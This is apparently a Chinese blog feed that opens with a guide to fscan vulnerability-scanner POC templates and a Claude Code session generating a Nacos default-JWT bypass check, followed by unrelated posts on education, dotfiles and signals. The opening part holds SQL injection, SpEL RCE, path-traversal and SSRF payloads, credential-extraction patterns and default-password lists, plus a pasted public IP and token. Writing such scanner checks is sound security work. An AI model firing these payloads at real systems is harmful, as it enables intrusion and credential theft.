 response.status == 200 &&
 response.content_type.icontains("application/json") &&
 response.body.bcontains(b"\"username\"")
detail:
 author: handle
 links:
 - https://...
```

### 3. SQL Injection

```yaml
name: poc-yaml-vendor-product-sqli
rules:
 - method: GET
 path: /index.php?id=1%27%20AND%201%3D2%20UNION%20SELECT%20NULL,NULL,NULL--
 expression: >
 response.body.bcontains(b"You have an error in your SQL syntax") ||
 response.body.bcontains(b"mysql_fetch") ||
 response.body.bcontains(b"ORA-01756")
detail:
 author: handle
 links:
 - https://...
```

Time-based blind (check latency):
```yaml
 expression: response.latency > 5000
```

Error-based with injected marker (MD5 partial match from codebase pattern):
```yaml
 path: /index.php?id=1") AND extractvalue(1,concat(0x7e,md5(99999999)))-- a
 expression: response.body.bcontains(b"ef775988943825d2871e1cfa75473ec")
```
(The above uses md5(99999999) = `ef775988...`; verify and substitute actual value.)

### 4. RCE — Blind Math Proof (Recommended)

```yaml
name: poc-yaml-vendor-product-rce
set:
 rand1: randomInt(800000000, 1000000000)
 rand2: randomInt(800000000, 1000000000)
rules:
 - method: POST
 path: /vulnerable/endpoint
 headers:
 Content-Type: application/json
 body: |
 {"expression": "#{new java.lang.Runtime().exec(\"expr {{rand1}} + {{rand2}}\")}"}
 expression: response.body.bcontains(bytes(string(rand1 + rand2)))
detail:
 author: handle
 links:
 - https://...
```

### 5. RCE — Reflected Output

```yaml
name: poc-yaml-vendor-product-rce
rules:
 - method: GET
 path: /exec?cmd=id
 expression: >
 "((u|g)id|groups)=[0-9]{1,4}\\([a-z0-9]+\\)".bmatches(response.body)
detail:
 author: handle
 links:
 - https://...
```

RCE via response header injection (e.g. CVE-2022-26134 style):
```yaml
 expression: >
 response.status == 302 &&
 "((u|g)id|groups)=[0-9]{1,4}\\([a-z0-9]+\\)".bmatches(response.raw_header)
```

### 6. RCE — Multi-Step with Cleanup (Spring Cloud Gateway style)

```yaml
name: poc-yaml-spring-cve-2022-22947
set:
 router: randomLowercase(8)
 rand1: randomInt(800000000, 1000000000)
 rand2: randomInt(800000000, 1000000000)
rules:
 - method: POST
 path: /actuator/gateway/routes/{{router}}
 headers:
 Content-Type: application/json
 body: |
 {"id":"{{router}}","filters":[{"name":"AddResponseHeader","args":{"name":"Result","value":"#{T(java.lang.Runtime).getRuntime().exec(new String[]{\"expr\",\"{{rand1}}\",\"+\",\"{{rand2}}\"})}"}}],"uri":"http://example.com","order":0}
 expression: response.status == 201
 - method: POST
 path: /actuator/gateway/refresh
 headers:
 Content-Type: application/json
 expression: response.status == 200
 - method: GET
 path: /actuator/gateway/routes/{{router}}
 expression: response.status == 200 && response.body.bcontains(bytes(string(rand1 + rand2)))
 - method: DELETE
 path: /actuator/gateway/routes/{{router}}
 expression: response.status == 200
 - method: POST
 path: /actuator/gateway/refresh
 headers:
 Content-Type: application/json
 expression: response.status == 200
detail:
 author: jweny
 description: Spring Cloud Gateway Code Injection
 links:
 - https://nvd.nist.gov/vuln/detail/CVE-2022-22947
```

### 7. LFI / Path Traversal

```yaml
name: poc-yaml-vendor-product-lfi
rules:
 - method: GET
 path: /download?file=../../../../etc/passwd
 expression: >
 response.status == 200 &&
 response.body.bcontains(b"root:x:0:0")
detail:
 author: handle
 links:
 - https://...
```

### 8. SSRF

```yaml
name: poc-yaml-vendor-product-ssrf
rules:
 - method: POST
 path: /api/fetch
 headers:
 Content-Type: application/json
 body: '{"url":"http://169.254.169.254/latest/meta-data/"}'
 expression: >
 response.status == 200 &&
 response.body.bcontains(b"ami-id")
detail:
 author: handle
 links:
 - https://...
```

### 9. Info Leak with `search` Extraction

```yaml
name: poc-yaml-vendor-product-info-leak
rules:
 - method: GET
 path: /api/v1/config
 follow_redirects: false
 search: '"secretKey":"(?P<secretKey>[^"]+)".*?"accessKey":"(?P<accessKey>[^"]+)"'
 expression: >
 response.status == 200 &&
 response.body.bcontains(b"secretKey")
detail:
 author: handle
 info: vendor product credential leak
 links:
 - https://...
```

Output when matched:
```
[+] PocScan http://10.0.0.1 poc-yaml-vendor-product-info-leak
 * accessKey: AKIAxxxxxxxx
 * secretKey: abc123...
```

### 10. Weak Password — Sets

```yaml
name: poc-yaml-vendor-product-weak
sets:
 username:
 - admin
 - administrator
 password:
 - admin
 - admin123
 - password
 - ""
rules:
 - method: GET
 path: /login
 expression: response.status == 200 && response.body.bcontains(b"Login")
 - method: POST
 path: /login
 follow_redirects: false
 headers:
 Content-Type: application/x-www-form-urlencoded
 body: username={{username}}&password={{password}}
 expression: >
 response.status == 302 ||
 (response.status == 200 && response.body.bcontains(b"Dashboard"))
detail:
 author: handle
 login: admin/admin
 links:
 - https://...
```

### 11. Weak Password — HTTP Basic Auth

```yaml
name: poc-yaml-vendor-product-weak
rules:
 - method: GET
 path: /admin/
 expression: response.status == 401 && response.body.bcontains(b"Unauthorized")
 - method: GET
 path: /admin/
 headers:
 Authorization: Basic YWRtaW46YWRtaW4=
 expression: response.status == 200 && response.body.bcontains(b"Welcome")
detail:
 author: handle
 login: admin/admin (base64: YWRtaW46YWRtaW4=)
 links:
 - https://...
```

---

## Common Mistakes to Avoid

1. **Including Host header** — fscan sets it automatically. Never add `Host:` in rule headers.
2. **Including Content-Length** — fscan computes it. Do not include.
3. **Using `set` and `sets` together** — they are mutually exclusive.
4. **Hardcoded magic strings for RCE** — always use `randomInt` + math proof to avoid false positives.
5. **Missing `bytes()` conversion** — CEL is strictly typed. `string(rand1 + rand2)` is a string; you need `bytes(string(...))` to compare with response.body.
6. **Wrong `bcontains` argument type** — `b"literal"` creates bytes literal; `bytes("string")` converts a string variable to bytes.
7. **Path includes scheme/host** — path must start with `/`.
8. **`follow_redirects` without need** — default false is usually correct. Only set true when the exploit response is behind a redirect.

---

## `search` Field Details

- Applied to: concatenation of raw response headers + `\r\n\r\n` + response body
- Syntax: Python-style named capture groups `(?P<name>pattern)`
- All captures are:
 1. Printed to output on POC match (sorted alphabetically by key)
 2. Injected into `variableMap` for use in subsequent rules via `{{name}}`
- Empty-named groups are silently ignored
- Implementation: `WebScan/lib/check.go`, functions `executePoc` and `CheckMultiPoc`

---

## Naming Reference Table

| Vuln Type | Suffix Convention | Example |
|-----------------|---------------------------|---------|
| Detection | `-detect` | `poc-yaml-kibana-detect` |
| Unauth | `-unauth` | `poc-yaml-airflow-unauth` |
| SQL Injection | `-sqli` | `poc-yaml-74cms-sqli` |
| RCE | `-rce` | `poc-yaml-hotel-rce` |
| LFI | `-lfi` | `poc-yaml-vendor-lfi` |
| SSRF | `-ssrf` | `poc-yaml-vendor-ssrf` |
| Info Leak | `-info-leak` | `poc-yaml-canal-info-leak` |
| Weak Password | `-weak` or `-default-password` | `poc-yaml-activemq-default-password` |
| CVE | `-cve-{year}-{id}` | `poc-yaml-spring-cve-2022-22947` |
| Auth Bypass | `-auth-bypass` | `poc-yaml-nacos-v1-auth-bypass` |

运行效果：

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145



╭─── Claude Code v2.1.63 ───────────────────────────────────────────────────────╮
│ │ Tips for getting started │
│ Welcome back! │ Run /init to create a CLAUDE.md file wi… │
│ │ ──────────────────────────────────────── │
│ │ Recent activity │
│ ▐▛███▜▌ │ No recent activity │
│ ▝▜█████▛▘ │ │
│ ▘▘ ▝▝ │ │
│ Sonnet 4.6 · API Usage Billing │ │
│ ~/Projects/fscan │ │
╰───────────────────────────────────────────────────────────────────────────────╯

❯ /fscan-poc-gen

⏺ I'm ready to generate an fscan POC YAML file for you.

 Please provide one of the following:

 - A raw HTTP request (method, path, headers, body)
 - A curl command
 - A CVE number or vulnerability description
 - A payload you want to convert

 Also let me know:
 1. Vendor / Product name (if not obvious from the input)
 2. Vulnerability type if you know it: sqli, rce-blind, rce-reflect, lfi, ssrf,
 unauth, info-leak, weak-password, or detect

❯ nacos 默认jwt密钥-未授权访问

 开启了nacos.core.auth.enabled
 的情况下，如果未修改默认nacos.core.auth.default.token.secret.key的值（在Na
 cos<=2.2.0版本中，该值为默认值），则可以通过accessToken值来绕过权限。

 nacos.core.auth.default.token.secret.key=SecretKey01234567890123456789
 0123456789012345678901234567890123456789 # =后边的是默认的硬编码

 影响版本

 0.1.0<=nacos<=2.2.0
 漏洞原理

 输入正确的账号密码，则后端会返回对应该用户的加密accessToken。

 请求包

 POST /nacos/v1/auth/users/login HTTP/1.1
 Host:
 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0)
 Gecko/20100101 Firefox/137.0
 Accept: application/json, text/plain, */*
 Accept-Language:
 zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
 Accept-Encoding: gzip, deflate, br
 Content-Type: application/x-www-form-urlencoded
 Content-Length: 29
 Origin: http://47.83.174.204:8848
 Connection: keep-alive
 Referer: http://47.83.174.204:8848/nacos/
 Priority: u=0

 username=nacos&password=nacos

 响应包

 HTTP/1.1 200
 Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI
 6MTc0NTY4MDYxOH0.ZLnKCsDmI768h5_ALTANhnvD0ObfSgetZj8LmUy8TjE
 Content-Type: application/json;charset=UTF-8
 Date: Sat, 26 Apr 2025 10:16:58 GMT
 Keep-Alive: timeout=60
 Connection: keep-alive
 Content-Length: 181

 {"accessToken":"eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTc0N
 TY4MDYxOH0.ZLnKCsDmI768h5_ALTANhnvD0ObfSgetZj8LmUy8TjE","tokenTtl":18000,"
 globalAdmin":true,"username":"nacos"}

⏺ Step 1 — Parsed input:
 - Method: POST
 - Path: /nacos/v1/auth/users/login
 - Content-Type: application/x-www-form-urlencoded
 - Body: username=nacos&password=nacos
 - Vendor/Product: Alibaba / Nacos
 - Vuln type: unauth (default JWT secret key + default credentials → admin
 bypass)
 - Affected: 0.1.0 <= nacos <= 2.2.0

 Attack chain:
 1. Login with default creds → extract accessToken
 2. Use token to call a privileged API endpoint → confirm admin access

 ---
 name: poc-yaml-nacos-default-jwt-unauth
 rules:
 - method: POST
 path: /nacos/v1/auth/users/login
 headers:
 Content-Type: application/x-www-form-urlencoded
 body: username=nacos&password=nacos
 search: '"accessToken":"(?P<accessToken>[^"]+)"'
 expression: response.status == 200 &&
 response.body.bcontains(b"globalAdmin\":true")
 - method: GET
 path: /nacos/v1/auth/users?pageNo=1&pageSize=9
 headers:
 Authorization: Bearer {{accessToken}}
 expression: response.status == 200 &&
 response.body.bcontains(b"\"username\"")
 detail:
 author: your-handle
 description: |
 Nacos uses a hardcoded default JWT secret key
 (SecretKey012345678901234567890123456789012345678901234567890123456789).
 When auth is enabled but the key is not rotated, default credentials
 (nacos/nacos) produce a valid admin token that bypasses authorization.
 links:
 - https://github.com/alibaba/nacos/issues/9175
 - https://github.com/alibaba/nacos/issues/4593

 Suggested filename: nacos-default-jwt-unauth.yml

 ---
 How the chain works:

 ┌──────┬────────────────────────────────────────────────────────────────────┐
 │ Rule │ Purpose │
 ├──────┼────────────────────────────────────────────────────────────────────┤
 │ │ POST login → search captures accessToken into variableMap; │
 │ 1 │ expression checks globalAdmin:true confirms admin-level token was │
 │ │ issued │
 ├──────┼────────────────────────────────────────────────────────────────────┤
 │ 2 │ GET privileged user-list API with Bearer {{accessToken}} → success │
 │ │ confirms full admin access via the default JWT key │
 └──────┴────────────────────────────────────────────────────────────────────┘

 To embed in fscan binary:
 cp nacos-default-jwt-unauth.yml WebScan/pocs/
 go build -o fscan main.go

 POC files are embedded at compile time via //go:embed pocs.


✻ Sautéed for 40s

从 payload 生成 nuclei 模板

从 nuclei 模板生成 fscan poc yaml

逃离应试教育，重新学会怎么思考

Thu, 12 Feb 2026 04:25:01 +0800

应试教育是一个只奖励记忆力的教育系统。

本文由上一篇关于大二上的随笔 - 2分离出。

到大学之后才发现，经历了几年应试教育的荼毒之后，自己已经忘记了怎么像正常人一样说话，像正常人一样思考了。因此不得不思考这样一个问题：

怎样才是正常人的学习思路？

直到现在，才能阶段性给出一个自己满意的答案。

不使用任何未被动机化的概念

关于这一句，一开始我总结成两点：

不引入任何未被定义的变量，任何时候都能用自然语言表达当前目的。

写博客时发现其实可以被压缩成标题的这样一句。因为把未定义升级为未动机化时，第一点自然可以坍缩为第二点的一部分。一个概念之所以“被动机化”，恰恰是因为它服务于一个可以被说清楚的目的。

反过来说，如果我用自然语言说不清“我现在要干什么”，那我引入的任何新概念，在思维上必然是悬空的，即使它在符号层面被严格定义了。

并且需要否定的观点是，“只要能用自然语言把符号念一遍，就算理解了”。比如：对信号做拉普拉斯变换，在线性空间中定义加法，等等。这种自然语言本质上只是换了一套符号系统，并没有增加任何语义密度。这里的自然语言，必须是已经完成一次抽象与压缩后的表达。

至少需要满足这样的条件：

不依赖当前引入的符号本身，用“因为定义如此”来解释定义。
保留因果和目的，必须回答：为什么要这么做，而不是别的做法。
可以脱离具体形式存在

因此可以用这样的办法检验：如果暂时忘掉所有公式和符号，仍然能够说明自己正在解决什么问题，以及为什么当前引入的概念是必要的。

但这是中国非常多的教材做的事。举一个绝对反例：

第一章标题是行列式。但行列式在整个线性代数体系里是一个高度派生的对象。要出现行列式，至少先得出现：线性映射，线性方程组的结构性问题，可逆性的判定需求，体积/定向/行变换不变量的概念之一。但这本书在干什么？直接从“解二元线性方程组的消元计算”中，硬抠出一个代数表达式，然后给它命名。

我们说，不使用任何未被动机化的概念，这里恰好满足所有未被动机化的判据。当前的目标根本不需要它。此时的目标是解一个二元线性方程组。用消元法已经解完了。到这里为止，一切都是自然的。但接下来发生了什么？它在“本该停下”的地方强行引入新对象。

书说：“这个表达式我们把它叫做二阶行列式”。但问题是：为什么要叫？

没有任何新的问题要解决，没有在比较不同方程组，没有在讨论解是否稳定，没有在讨论结构不变性

于是这个“命名”是无动机的。

行列式真正合理的生成路径是这样的：

我们想知道一个线性变换是否压扁了空间 -> 是否把体积压成 0 -> 是否不可逆 -> 是否存在非零解 -> 需要一个对行变换行为可控的标量不变量 -> 行列式

而教材给的是：

四个数两两相乘再相减 -> 记住这个公式，它很重要

线性代数合理的起点应该是什么，我并不知道，但至少要满足“动机先行”。

由目的和公理出发形成递归式思路

这一点事实上应当可以被上一点引出。

为什么说上面的教学方式严重污染学习者的认知？因为这一步在做的事是：“重要的东西 = 一串复杂公式”，而不是：“重要的东西 = 解决一个已经感到棘手的问题的必要结构”

这种教学方式的问题不在于我的个人偏好或者什么教学风格，而是这样的教学是客观有害的。

它破坏了信息压缩的可能性！长此以往，学生会形成一种注定不可拓展的认知编码模式。

复杂被灌输为深刻，公式多而难记被灌输为核心重点，能背下来被当成是学会了。这简直是种认知污染。

什么叫信息压缩？我们在学习任何学科时，实际上真正想做的事情就是信息压缩：

把一个知识体系压缩成：最小生成元 + 生成规则。

这是唯一一种可以拓展的学习方式。否则每个公式都是一个终态，终态之间没有生成关系，无法合并复用，整个体系是一堆互不相干的字符串，从信息论上就是不可压缩的输入。

我们学习概念的过程应当是这样的：我们遇到了一个反复出现的很麻烦的问题，现在已经有的工具解决不了，因此我们抽象出这样一个操作，简化我们的描述。此时我们记住的不是具体形式，而是在什么条件下，自然演变出这样的形式。存在硬盘里的是 when, how, where, 形式细节可以被重新生成。

这就是为什么说递归式思路是可拓展的。用这样的思路学习，才会是快速，思路清晰，并且可以被长期记忆的。

为什么应试教育导致了这种结局？

应试教育的根本原因是官本位，官本位导致的教育就是应试教育。为什么这么说？

谁是客户决定了一切。任何系统都会优化它真正被考核的对象，这就像强化学习，模型会最大化奖励函数的期望值，而不一定是真正目标。

市场教育，客户是企业。官僚教育，客户是上级领导的指标。没错，客户并不是学生本身，教育系统并不为“学生是否变成完整的人”负责，只为是否合格完成交付负责。

在官本位的情况下，教育不需要向市场负责，而是需要向官员负责。因此每一层只需要让自己的上一层满意，不需要对下负责。一旦教育不需要为学生能不能干活负责，而只需要为指标是否完成负责，结局是必然的。

这样来看，应试教育并不是失败，而是极端高效的成功，在当前的约束条件下，应试教育是最优策略。因为向上负责的系统，只能选择“可量化、可汇报、可比较”的东西。

考试，可以量化，可以排名，可以用一页 PPT 汇报，可以跨地区标准化对齐。

官僚教育经过几十年的在固定奖励函数下的长期强化学习，同样完成了一次信息压缩。

这个系统的奖励函数非常清晰：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11


+1：分数提升

+1：升学率提高

+1：指标完成

0：学生是否理解

0：是否具备生成和转化能力

0：是否能应对真实问题

于是经过几十年的“训练”，系统自然学会了：最大化可压缩信息（公式，套路），最小化不可验证变量（理解，动机），把高度抽象的对象当作高价值的符号（分数，升学率）。

应试教育不是失败，而是在“向上负责”的奖励函数下，成功训练出的最优模型。如果继续推，会得到一个让人伤感的事实：

真正以学生为目标的教育，在大规模系统中几乎不可实现。

因为动机不可量化，理解没法标准化，生成规则无法汇报，个体差异无法收敛。

因此真正以学生为目标的的教育，只能存在于师徒制，小规模实践，或者与真实问题强绑定的问题。

关于大二上的随笔 - 2

Tue, 10 Feb 2026 01:16:43 +0800

上一篇: 关于大二上的随笔 - 1

相隔一个月的第二篇。

第一篇写了跟没写一样，实际上这个学期发生的事情太多了, 确实该好好理一下。

发生了什么

暑假，做导论，直播，招新，倒闭，然后发现身边的人怎么全去写 Rust 和 Web 3 了。

对于我自己这边，花了一段时间什么代码都没写，重构出 Paramer V2，也许有了自己的一思考软件架构的思路。

国庆，去西安玩，乡下孩子第一次坐飞机。其实过去最多的活动是各种各样的碳水美食。

买了个 macbook，好用。11 月份左右开始写 Stripe 应用的 Python 后端模块外包，同时 Paramer 后端开始新增两位人手。这两件事情都有大量的信息值得学习，不仅是技术方面。

此时本以为可以两面开弓，然而是有意外的。工作进行了一周，开会同步时才发现找来的某所 985 大学某大二学生实际上没有任何实际产出，最后导致我给他兜底。与此同时 Paramer 实际上还存在各种打包之类的杂活，实际上并不能完全脱离开。同时还有大量诸如上课和乒乓球约课，必须跑满的阴暗长爬等琐事…

因此这一个多月的工作量是爆掉的，一天掰成两天用。每天八点两眼一睁就是出宿舍，晚上踩着十一二点的门禁才回宿舍，期间是高强度的代码工作，有课就带着 mac 去教室签到，没课就带着 mac 在瑞幸书吧。总之宿舍是能不呆就绝对不呆。

合租了个房子，除了有点偏，晚上广场舞有点吵以外，都比宿舍好太多了。

两遍都做的差不多，喘了两口气，又开始研究怎么做这么大一坨的 Python 应用的加密打包。研究一半还没完呢，期末了。算了算，发现期末还是得一天掰成两天用。

列了个复习计划，考了一半才发现不应该忽视睡觉时间和为了保证不掉 san 的休息时间，最后放弃掉大物和信安数学，准备签个到直接补考。

为什么不是信号与系统？因为旭哥为了让我不挂科，给我补了三天的私塾，把学校教法 500G 的信息量压缩成 50K 教给我，自己在脑子里解压，直接速通完了，再挂科就丢脸了。甚至直到考试才知道信号与系统用的是英文卷子，也还是过了。期末两周过的像两个月。

到写这一篇的时候，在干一些开发无关的杂活和面对奇怪的需求补奇怪的特性的杂活，闲时用 golang 写某个~~直播音频语义事件触发引擎~~。

学到了什么

元旦只想随手稍记录一下技术方面的东西。现在发觉更需要被记录的事情实际上在技术之外。

关于如何学习

首先是由这次学习信号与系统产生的反思。怎样才是正常人的学习思路？本文写到这里发现越来越多，因此整理成另一篇文章，逃离应试教育，重新学会怎么思考

关于如何教学

关于如何工作

Hugo Stack 主题添加 Mermaid 支持

Sat, 24 Jan 2026 21:46:07 +0800

参考:

Hugo docs - Diagrams - Mermaid diagrams

Stack docs - Custom Header / Footer

feat: add support for Mermaid diagrams in Markdown content #1186

在 layouts 添加如下文件:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12


<!-- layouts/_markup/render-codeblock-mermaid.html -->
<pre class="mermaid">
 {{ .Inner | htmlEscape | safeHTML }}
</pre>

{{ if not (.Page.Scratch.Get "mermaidLoaded") }}
 {{ .Page.Scratch.Set "mermaidLoaded" true }}
 <script type="module">
 import mermaid from 'https://cdn.jsdelivr.net/npm/mermaid/dist/mermaid.esm.min.mjs';
 mermaid.initialize({ startOnLoad: true, theme: 'neutral' });
 </script>
{{ end }}

在黑暗模式下显示比较有问题, 我没有折腾比较好的解决方案

Chezmoi 管理和同步多平台 dotfiles

Sat, 24 Jan 2026 13:23:38 +0800

不想每次到新机器都要重新配置所有工具的 ~/.config. 因此使用 Chezmoi.

Roughly speaking, chezmoi stores the desired state of your dotfiles in the directory ~/.local/share/chezmoi. When you run chezmoi apply, chezmoi calculates the desired contents for each of your dotfiles and then makes the minimum changes required to make your dotfiles match your desired state.

Installation

chezmoi - Install

Quick Start

chezmoi - Quick Start

首先初始化 chezmoi

1

chezmoi init

将 macOS 的 .zshrc 加入管理.

1

chezmoi add ~/.zshrc

这将复制 ~/.zshrc 到 ~/.local/share/chezmoi/dot_zshrc:

1
2
3


tree ~/.local/share/chezmoi/
# /Users/veno/.local/share/chezmoi/
# └── private_dot_zshrc

发现设置成了 private_dot_zshrc, 意味着后续 chezmoi apply 的时候 ~/.zshrc 会被设置成 600. 可能 macOS 导致了特殊性?

没必要私有, 于是可以设置属性:

1
2
3
4
5
6
7
8


chezmoi chattr noprivate ~/.zshrc
ls -la $(chezmoi source-path)

# total 16
# drwxr-xr-x@ 4 veno staff 128 Jan 24 13:43 .
# drwx------ 10 veno staff 320 Jan 24 13:30 ..
# drwxr-xr-x@ 9 veno staff 288 Jan 24 13:41 .git
# -rw-r--r--@ 1 veno staff 8118 Jan 24 13:33 dot_zshrc

如果要修改, 要么手动修改 nvim ~/.zshrc 然后重新 chezmoi add ~/.zshrc, 要么 chezmoi edit ~/.zshrc 然后 chezmoi apply. 推荐后者.

chezmoi edit

chezmoi edit ~/.zshrc 修改的并不是 ~/.zshrc 而是 ~/.local/share/chezmoi/dot_zshrc, 因此更改并不会立即被应用. 如果要将更改应用到机器,运行 chezmoi apply.

chezmoi edit 并不会自动创建新的 git 提交, 必须要手动提交.

chezmoi edit 会使用 $EDITOR 编辑配置文件.

chezmoi cd

除了 cd $(chezmoi source-path), 事实上可以 chezmoi cd

1
2


chezmoi cd && pwd
# /Users/veno/.local/share/chezmoi

此时实际上 chezmoi cd 做的事情类似于是:

1

$SHELL && cd $(chezmoi source-path)

因此当你完成了修改之后, 运行 exit 回到你刚才的目录.

git

这是 chezmoi 的爽点.

在 github 创建一个名为 dotfiles 的仓库.

1
2
3
4
5
6
7


chezmoi cd
git add .
git commit -m "Initial commit"

git remote add origin git@github.com:$GITHUB_USERNAME/dotfiles.git
git branch -M main
git push -u origin main

在其他机器上, 安装 chezmoi 之后, 可以直接:

1

chezmoi init git@github.com:$GITHUB_USERNAME/dotfiles.git

非常方便.

当我在机器 A 更新了配置, 回到机器 B 时, 只需要:

1

chezmoi update

chezmoi - commands - update

chezmoi git

chezmoi 封装了 git 用于便捷管理. 需要添加 -- 来区分 chezmoi 和 git 的参数.

例如:

1

chezmoi git -- add . && chezmoi git -- commit -m "Update dotfiles" && chezmoi git -- push

一键创建提交并推送.

添加其他 git 仓库

Include a subdirectory from a git repository

处理先前已经使用 git 管理但并未纳入 chezmoi 管理的仓库, 可以添加配置.

例如, 我之前已经管理了 nvim.git, 现在想将它列入 chezmoi 管理中.

1
2


chezmoi cd
nvim .chezmoiexternal.toml

添加配置:

1
2
3
4


[".config/nvim"]
 type = "git-repo"
 url = "git@github.com:U1traVeno/nvim.git"
 refreshPeriod = "168h"

然后:

1
2


exit
chezmoi apply -v

在机器 A 修改：cd ~/.config/nvim -> git push

在机器 B 同步：只需运行 chezmoi apply。它发现距离上次刷新超过 168 小时（或你强制执行 --refresh-externals），就会自动帮你 git pull 最新的配置. 或者, 你当然也可以直接在 ~/.config/nvim 下手动拉取更新.

git submodule

chezmoi - Include dotfiles from elsewhere

如果不使用配置文件, 可以使用 git submodule 处理先前已经使用 git 管理但并未纳入 chezmoi 管理的仓库, 但是似乎有点麻烦, 因为每次都要在 chezmoi 里进行修改.

例如, 我之前已经管理了 nvim.git, 现在想将它列入 chezmoi 管理中.

1
2
3
4


# 假设你想把配置放在 ~/.config/nvim
chezmoi cd
mkdir -p dot_config
git submodule add git@github.com:$GITHUB_USERNAME/nvim.git dot_config/external_nvim

If you use git submodules, then you should set the external_ attribute on the subdirectory containing the submodule.

根据文档, chezmoi 默认会尝试解析源目录下的所有文件。如果 nvim 仓库里有类似 run_test.sh 的文件，chezmoi 会误把它当成自己的脚本执行.

加上 external_ 前缀后，chezmoi 会知道这个目录的内容不需要按照它的规则解析，只需原样同步即可

chezmoi update 的 --recurse-submodules 参数默认为 true.

后续更新 nvim 仓库时, 可以:

1
2
3
4


chezmoi cd
cd dot_config/external_nvim
# 进行修改...
nvim lua/init.lua

在同一个目录下直接提交 nvim 的更改：

1
2
3


git add .
git commit -m "feat: add new plugin"
git push # 推送到你的 nvim.git 仓库

退回到 chezmoi 根目录，更新主仓库对子模块的引用：

1
2
3
4


cd ../.. # 回到 chezmoi 根目录
git add dot_config/external_nvim
git commit -m "chore: update nvim submodule reference"
git push # 推送到你的 dotfiles 仓库

最后 apply

1

chezmoi apply

chezmoi diff

用于记录一下 chezmoi diff 令人困惑的地方.

举例, 现在向 ~/.zshrc 中的 alias t=tmux 一行的下一行加一个 alias tai=tmuxai

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14


perl -i -pe 's/^alias t=tmux$/$&\nalias tai=tmuxai/' ~/.zshrc && chezmoi diff

# diff --git a/.zshrc b/.zshrc
# index 37c0ed56fd522ca98688e20412030d8c10be6ddc..593a83770b2b2ee4b61de92b517cc12a02c1f0e0 100600
# --- a/.zshrc
# +++ b/.zshrc
# @@ -151,7 +151,6 @@
# # alias
# alias lg=lazygit
# alias t=tmux
# -alias tai=tmuxai

# # exports
# export PATH="/opt/homebrew/opt/zip/bin:/opt/homebrew/bin:/opt/homebrew/sbin:$PATH"

chezmoi diff 返回的结果语义其实很不清晰. 可以理解为: “如果我运行 apply，会对家目录的配置产生什么影响？”

a/.zshrc 是源目录(~/.local/share/chezmoi), b/.zshrc 是家目录 ~/.zshrc, 即: 如果运行 apply, 会删除 alias tai=tmuxai 这一行.

再次运行 chezmoi add ~/.zshrc, 此时 chezmoi diff 不会再有输出.

sequenceDiagram
participant H as home directory
participant W as working copy
participant L as local repo
participant R as remote repo
H->>L: chezmoi init
H->>W: chezmoi add $FILE
W->>W: chezmoi edit $FILE
W-->>H: chezmoi diff
W->>H: chezmoi apply
H-->>W: chezmoi cd
W->>L: git add
W->>L: git commit
L->>R: git push
W-->>H: exit

信号与系统速通: 现代视角下的信号与系统理论体系

Tue, 20 Jan 2026 05:20:19 +0800

序言

本文创建于杭电 2025-2026-1 学期网安的信号与系统期末考试复习时. 全文可能比较长, 实际上是本人三个完整的地球日消化总结的结果.

文章不会覆盖信号与系统的内容, 仅仅可以被看作导论, 或是叫速通, 因此只会大致描述信号与系统的理论体系怎样用直观而不跳跃的思路得来. 为什么只有这些内容, 因为我是因为期末复习才开始学习信号与系统的.

什么是跳跃的思路? 实际上教材的思路就是跳跃的思路. 我们学习和发展一个学科的过程是这样的: 我们先用自然语言描述出一些公理, 而我们所有的理论成果都是由公理之间相组合得到的.

有意思一点的说法是, 如果把这个学科所有可能得到的理论成果视作一个向量空间, 那么公理就是这个向量空间的基向量, 显然我们的向量空间是由我们的基向量张成的. 你如果凭空提出一条公式, 你就不是在研究学科, 而是在创立新的学科. 但这却是目前我们的教材正在做的事情, 是和学习过程相悖的, 跟着这样的教材学出来思路也会是跳跃的思路. 我希望避免这一点.

本文决定从这样的角度出发, 重新审视信号与系统这门学科应当怎样被重新发现, 并且引出泛函分析可能的历史动机.

本人也是学生, 希望大家可以一起讨论, 广泛吸取大家的意见.

截至 2026.1.16, 本文尚未完成, 仅完成至怎样消除时变章节.

序言
目录
什么是信号与系统
- 耳机功放, 大语言模型, 人类
- 对信号和系统的抽象: 从“实体”到“关系”
描述系统的工具: 微分方程
- 为什么一定是微分方程
  - 为什么是微分
  - 为什么是方程
- 系统的线性和时变
问题的简化: 消除非线性和时变
- 怎样消除非线性
- 怎样消除时变
- 零输入 LTI 系统: 齐次常微分方程
- 有输入的 LTI 系统
狄拉克函数
卷积的本质是函数分解
初步思考拉普拉斯变换
希尔伯特空间
思考所有的线性常微分方程: 由 t 到 s
e^st 的振荡: 频率
傅里叶分析
- 傅里叶级数
- 傅里叶变换
- 对偶性
拉普拉斯变换: 带上实部
再次思考微分方程: 微分方程的完全解
引入算子视角
算子代数, 系统的本质
特征函数和谱
什么是算子谱
分析离散（从函数到数列）
幺正算子

什么是信号与系统

耳机功放, 大语言模型, 人类

TODO: 我需要一个更加有趣的一些现实例子, 引出为什么我们想抽象出系统这个词. 也许应该举出一些在信号与系统学科出现之前就出现的东西, 比如大桥. 风吹过大桥, 产生了振荡.

对信号和系统的抽象: 从“实体”到“关系”

我们创造了信号与系统这个概念. 我们用 $H$ 指代系统. 对系统输入 $x(t)$ 信号(激励), 系统对 $x(t)$ 做一系列复杂而无法直接测量的操作, 最终可以得到 $y(t)$ 信号(响应).

